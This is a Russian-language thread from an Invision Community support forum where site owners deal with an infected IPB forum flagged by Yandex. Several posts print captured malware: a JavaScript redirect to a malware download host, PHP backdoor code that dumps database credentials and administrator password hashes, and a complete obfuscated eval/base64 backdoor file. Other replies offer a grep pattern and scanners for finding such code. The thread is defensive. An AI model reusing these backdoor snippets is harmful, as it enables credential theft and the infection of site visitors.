Перейти к публикации
View in the app

A better way to browse. Learn more.

Дизайн и модификация Invision Community

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Яндекс обнаружил вредоносный код на форуме

Опубликовано:

Вопрос такой: на днях Яндекс сообщил мне, что мой сайт заражен вредоносным кодом.

 

Я полез в Яндекс.Вебмастер, который мне сообщал, что вердикт мне вынесен "Поведенческий анализ"

А именно:

 

Поведенческий анализ

 

Антивирусный робот Яндекса при проверке страниц анализирует поведение JavaScript-кода и других активных элементов. Если поведение совпадает с эвристическими правилами, характерными для drive-by-download атак, например, детектор вредоносных Java апплетов или детектор вредоносных PDF документов обнаруживают попытку эксплуатации уязвимости для выполнения вредоносного кода, то принимается решение о том, что проверяемая страница является опасной для посетителей.

 

Я, если честно, так и не понял что с этим делать и что и где искать. По всем остальным вердиктам хоть что-то понятно.

 

Написал вопрос в саппорт, ответ был следующим:

 

На Вашем сайте с помощью url: sport-horse.pro/index.php?ipbv=e13484a4543e54a53b72269a15c16faa&g=js периодически подгружается следующее вредоносное содержимое:

document.location='http://filestore321.com/download.php?id=6de46215' 

 

Действительно такая похожая ссылка на страницах форума встречается, но аналогичные ссылки есть в кодах страниц на других форумах.

В общем я в тупике и не понимаю в какую сторону мне рыть.

 

Делаю полный бекап форума на локалку и мыслю проверить какими-то антивирусами.

Попробовал прогнать сайт по известным мне онлайн-проверяльщикам - никто ничего не нашел.

 

Может кто-то направить добрым советом в нужную сторону? Был бы крайне признателен за помощь.

Рекомендованные сообщения

Опубликовано:

Не могу понять, что происходит с форумом , Яша его заблокировал, лицензия - все патчи стоят, вирусов я не обнаружил, и на протяжении недели то разблокирует то заблокирует.

Результат выборочной проверки выпадают разные страницы.

 

Ссылка на зараженную страницу.

 

Айболита запустил, ждём.

Опубликовано:

По логам одного форума, через бэкдор пытались выполнить такой код (интересные места):

 

Вывод всей информации о настройках базы данных (пользователь, пароль, префикс) и содержимого htaccess:

 

$out .= "---------------=-=pong1234321=-=--------------------------<br>\n";
$out .= "sql_host: {$INFO['sql_host']}<br>\n";
$out .= "sql_port: {$INFO['sql_port']}<br>\n";
$out .= "sql_database: {$INFO['sql_database']}<br>\n";
$out .= "sql_user: {$INFO['sql_user']}<br>\n";
$out .= "sql_pass: {$INFO['sql_pass']}<br>\n";
$out .= "sql_tbl_prefix: {$INFO['sql_tbl_prefix']}<br>\n";
$out .= "ACP: {$acp}<br>\n";
$out .= "htaccess: {$hta}<br>\n";
$out .= "htpasswd: {$htp}<br>\n";
$out .= "-----------------------------------------<br>\n";

Вывод администраторов (пользователей группы с доступом в АЦ):

 

while($row = mysql_fetch_assoc($res))
{
	$ag = intval($row['g_id']);
	$sql = "SELECT member_id,name,email,member_group_id,members_pass_hash,HEX(members_pass_salt)FROM {$INFO['sql_tbl_prefix']}members WHERE member_group_id={$ag} OR mgroup_others LIKE '%,{$ag},%' OR mgroup_others='{$ag}' OR mgroup_others LIKE '{$ag},%' OR mgroup_others LIKE '%,{$ag}' ORDER BY member_id ASC";

	$res2 = mysql_query($sql);
	if(!$res2)
	{
		$err = mysql_error($mysql_conn);
		echo "Mysql query failed: $err";
		return;
	}

	while($row2 = mysql_fetch_assoc($res2))
	{
		$data = implode("|:|", $row2);
		$data = htmlentities($data);
		$out .= "$data<br>\n";
		$names[] = $row2['name'];
	}
}

Логи авторизации в АЦ:

 

foreach($names as $name)
{
	$hname = mysql_hex_encode($name);
	$sql = "SELECT admin_post_details,admin_time FROM {$INFO['sql_tbl_prefix']}admin_login_logs WHERE admin_success=1 AND admin_username=$hname ORDER BY admin_time DESC LIMIT 1";
	$res = mysql_query($sql);
	if(!$res)
	{
		$err = mysql_error($mysql_conn);
		echo "Mysql query failed: $err";
		return;
	}

	while($row = mysql_fetch_assoc($res))
	{
		$data = implode("|:|", $row);
		$data = htmlentities($data);
		$out .= "{$name}|:|$data<br>\n";
	}
}

 

Логи авторизации видно нужны для того, чтобы расшифровать хеши паролей. По ним можно узнать длину пароля и последний символ.

 

Это еще раз говорит о том, что каждый раз после обнаружения вредоносного кода нужно менять все доступы администраторов на форуме и бд.

Опубликовано:

Ссылка на зараженную страницу.

Какой вердикт яндекса для этой страницы?

Опубликовано:

Cайт содержит код, который может быть опасен для посетителей.В результатах поиска сайт выводится с предупреждающей пометкой.

 

Жму поведенческий анализ. - любой заражённой ссылки и попадаю

Опубликовано:

Нашел айболит вирус, оч долго проверял. (AI-BOLIT-DOUBLECHECK.php)

 

Зараза сидела сайт/forum/public/403.php, и получалась, что все вложенные картинки заражены.

 

<?php $p0="";$p1="artemv_forum";$p2="m54946545";$p3="artemv_forum";$p4='../uploads';$F=__FILE__;
eval(gzinflate(base64_decode("dVVpj6JYFP0rToVpNVZaFheM4yQubIKCiAj29FRYHos89kWhUv99cKorqe7JfIDknXvPPfedkINTRlbhx1FH6yHc8Rnhj/1XRFiE5kteZBBEvQcyR3afEa5FnDjrIf4CnSP+H8iufQ8GLVFaIP7viDBHskWc2Y/Ob4j/vf/3vwe+PUjf22Hv6MLy2hFZf/6WgaLMok6Lz9+cj31Au5D1jASg7r+6MDYN2EHoZyR/RpLR/AcDVAbsuY0fOdAoQE/rmUYOJqMXG1ixDVp+/31AvxVBVEpeYHPf6fl5Dooe8sJQyrduBbK8let+7/dfgeXFnSf1Hek8CH9FT3Nw94v52yeeTB1O1LHl5r7d8r58+Q/0iuSLX8GH8oeBef9PfDzud9q2vDRbtIWesecH9mj7DUnQtpigiy6MLQN6cV505wj0o6Cz6IR1nsIXK44iYLXrJGjrCNY+eH/+XsoBbCsvttkWif4P3STOHyLdEXGxs+7jslrvyXBQ06zowMYZCi0Tes2s/WuRWmy48fZGRA6EdMYuxTMhJqu95o/pS53ZEg1Zk6uhPBb0eEiOM3t8a5cZLeFUU6tZFvi3dMBDQdTljYnnQhCiwzM/vVyZqeVU2OC88u/pmctolU69oShrsEQ9sdqvZWog2se0ckicUtyTEq8O071t3uTaBhyaRlTtWWmJTwHq6k2+DVELnVR1eYxUANOJscGFMTmsjIl4aUgzD5VhIozFqwaLZV1ciigf6rvbYvH0/NlybPz4NgDMwc82Mc7oQHzYxLo+4STcxhIyYsWBs0W6Ia9ywSTWAtMg7jgLtAl1p1Rcr2zdAeUtXpKENfK3Jrrkrs6uWR0I1bP5jerdTcUgCrbG5CYnhj4v6kxM69jhfoizEDphuXUHesMlgKsowp2a6xOljojzdGta68ow2DCf4JIa77VE8C7s9eDfY7ypKj25Ly/yutYFzJTP+PCu+mOWGKJXaonBWnVZWsRClJS33qAci/sTo0SVt2G3pAZpER7IYrWjDZz0Dvjt5I6uHLq7nZ0g2Hq5oYw2dC4JIz0OMG2PC6uaIAMAioZovMEyqCcHerIqxckRP8FiaDkXVdqnGUS5n6xG/9dq8zTdOB9WMzVqaJzNCFuvyK3teBeLkt2oQaO7x7qgK20Lio1F4s51Y9zzhM+g4mZ46OUXBY3xXbK2ZulawtC1zJT13VsXPFod7YgfaK64OokevAVj3WEUcd/wJYWO8FQglkdMZHFtK4HsnFrL2aG5cVsQzdBlpgQ7hcdQZ3vwuR0dUGpZygMN0xtPn4IslMLLmsEL0RV0rxx4xiy0rxcvtLZrm2B34XDNLA1yKOlSJsUS709OHkYz2QYGSerjFzzh5EiOITZwqRN7O18KvjGcRkIzMIAcugGaKpgbT2EsvZ5NeG0j80vdPxHQIW8hALdR6WrOLAPEeV/YBqxEsRwrihKzYiNelotf7CfwD/tf32MiLUFW97p+lIOs6PhREXf8xHyBsev2invR77ThWoK899T9+k7IgAFfQG4ZCXj8CvzI/QjR99T72n3qdz9CyIJx3ibwI7Na2bfOPw==")));

?>

Опубликовано:
Зараза сидела сайт/forum/public/403.php

Такие примитивные бэкдоры можно искать даже без ай-болита.

 

find . -name '*.php' | xargs grep -inP '(eval|base64_decode|gzinflate)[ ]*\(' > ./result.txt

Опубликовано:

Та ссш недоступен. По запросу поиск сделали.

Опубликовано:

Да, попытался запустить скрипт айболит, но что-то он вылетает в 504 Gateway Time-out.

Почитал у них на сайте ФАК, пошел запускать через SSH

 

Запустил, ждем-с 55к файлов...

 

Айболит медленный. И у меня тоже в 504 вываливается.

Есть аналог. fscure он пошустрее.

 

Сегодня столкнулся с этой же проблемой.

Чистка файла /cache/skin_cache/cache_%id/skin_global.php не помогла. Позавчера почистил, сегодня опять то же самое.

 

Накатил патчи на форум, жду.

Опубликовано:

И не поможет. Прочитайте еще раз сообщения на этой, на предыдущей и на первой странице как правильно надо лечить форум от этой заразы - сто раз было сказано, что удалением кода вы устраняете следствие а не причину. Для эффективного лечения к задаче нужно подходить комплексно.

Опубликовано:

Та ссш недоступен. По запросу поиск сделали.

Я юзаю такой скрипт. Специально писал для таких случаев, когда нет ssh или нужен быстрый поиск по примитивным бэкдорам типа eval и тп. Быстро, дешево и сердито.

scan.php

Опубликовано:

Спасибо, сохранил. Какой принцип его работы, я так понимаю он запускается в строке браузера, а дальше. Какой будет вывод заражённых фалов.? нету живого проекта проверить.

Опубликовано:

А-ля айболит, только без подсветки и прочих плюшек, тупо поиск по файлам и вывода найденной строки.

Опубликовано:

@kgb, я конечно за ссылок по теме безопасности, но там обсуждается одна политика Content Security нежели уязвимости с которыми столкнулись в IPB, а таких ссылок я могу привести сотнями. К конкретному случаю этой волны взломов ипб СSP ничем не поможет, ибо там отрабатывает локальный жаваскрипт и взлом происходит на уровне php скриптов:

 

print("document.location='http://filestore321.com/download.php?id={$m}'");

Content Security Policy подойдет для xss и всяких партнерских скриптов где могут подгружать все что угодно. Актуальность она получила из-за проблемы с google adwords'ом откуда через внедряемые скрипты в рекламе адсенса сливают трафик - тема уже довольно известная. Но ее еще нужно правильно настроить, да и вообще не грузить скрипты со всяких левых сайтов. У среднестатистического владельца IPB, обычно школьного возраста, целый зоопарк из счетчиков и всяких партнерок, а те чуть ли не в каждый месяц любят менять домен. И либо все это добро отвалится, либо владельцу придется следить за актуальностью политики.

Опубликовано:

Посмотрел в логах как повляется код в шаблоне.

Вход через админку. Причем явно бот, судя по скорости.

 

Жаль так и не нашел, как реализована сама уязвимость и как вытащен пароль админа.

Создайте аккаунт или войдите в него для комментирования

Сейчас на странице 0

  • Нет пользователей, просматривающих эту страницу.

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.